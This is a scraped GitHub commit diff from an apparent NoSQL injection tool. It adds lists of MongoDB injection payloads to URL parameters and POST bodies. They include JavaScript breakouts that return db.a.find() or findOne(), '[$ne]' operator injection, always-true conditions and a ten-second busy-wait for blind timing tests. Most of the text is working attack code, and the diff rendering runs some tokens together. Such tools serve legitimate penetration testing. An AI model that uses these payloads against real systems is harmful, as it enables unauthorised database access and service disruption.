You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
uriArray[2] +=paramName[x] +"=a'; return db.a.find(); var dummy='!"+"&"
1242
1244
uriArray[3] +=paramName[x] +"=1; return db.a.find(); var dummy=1"+"&"
1243
1245
uriArray[4] +=paramName[x] +"=a'; return db.a.findOne(); var dummy='!"+"&"
1244
-
uriArray[5] +=paramName[x] +"=a; return db.a.findOne(); var dummy=1"+"&"
1246
+
uriArray[5] +=paramName[x] +"=1; return db.a.findOne(); var dummy=1"+"&"
1245
1247
uriArray[6] +=paramName[x] +"=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"+"&"
1246
1248
uriArray[7] +=paramName[x] +"=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"+"&"
1247
1249
uriArray[8] +=paramName[x] +"=a'; return this.a != '"+randValue+"'; var dummy='!"+"&"
#Split the string between the path and parameters, and then split each parameter
@@ -1319,6 +1308,41 @@ def buildPostData(body):
1319
1308
except:
1320
1309
raw_input("Something went wrong. Press enter to return to the main menu...")
1321
1310
mainMenu()
1311
+
x=0
1312
+
whilex<=18:
1313
+
bodyList.append(body)
1314
+
x+=1
1315
+
1316
+
bodyList[0].update({injOpt,randValue})
1317
+
#gotta change the key name to include the not equals
1318
+
tempStr=str(bodyList[1])
1319
+
tempStr=tempStr.replace(injOpt, injOpt+"[$ne]")
1320
+
tempDict=ast.literal_eval(tempStr)
1321
+
delbodyList[1]
1322
+
bodyList.insert(1, tempDict)
1323
+
bodyList[2].update({injOpt : "a'; return db.a.find(); var dummy='!"})
1324
+
bodyList[3].update({injOpt : "=1; return db.a.find(); var dummy=1"})
1325
+
bodyList[4].update({injOpt : "=a'; return db.a.findOne(); var dummy='!"})
1326
+
bodyList[5].update({injOpt : "=1; return db.a.findOne(); var dummy=1"})
1327
+
bodyList[6].update({injOpt : "=a'; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy='!"})
1328
+
bodyList[7].update({injOpt : "=1; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=1"})
1329
+
bodyList[8].update({injOpt : "=a'; return this.a != '"+randValue+"'; var dummy='!"})
1330
+
bodyList[9].update({injOpt : "=1; return this.a !="+randValue+"; var dummy=1"})
1331
+
bodyList[10].update({injOpt : "=a\"; return db.a.find(); var dummy=\"!"})
1332
+
bodyList[11].update({injOpt : "=a\"; return this.a != '"+randValue+"'; var dummy=\"!"})
1333
+
bodyList[12].update({injOpt :"=a\"; return db.a.findOne(); var dummy=\"!"})
1334
+
bodyList[13].update({injOpt : "=a\"; var date = new Date(); var curDate = null; do { curDate = new Date(); } while((Math.abs(date.getTime()-curDate.getTime()))/1000 < 10); return; var dummy=\"!"} )
1335
+
bodyList[14].update({injOpt : "a'; return true; var dum=a"})
1336
+
bodyList[15].update({injOpt : "1; return true; var dum=2"})
0 commit comments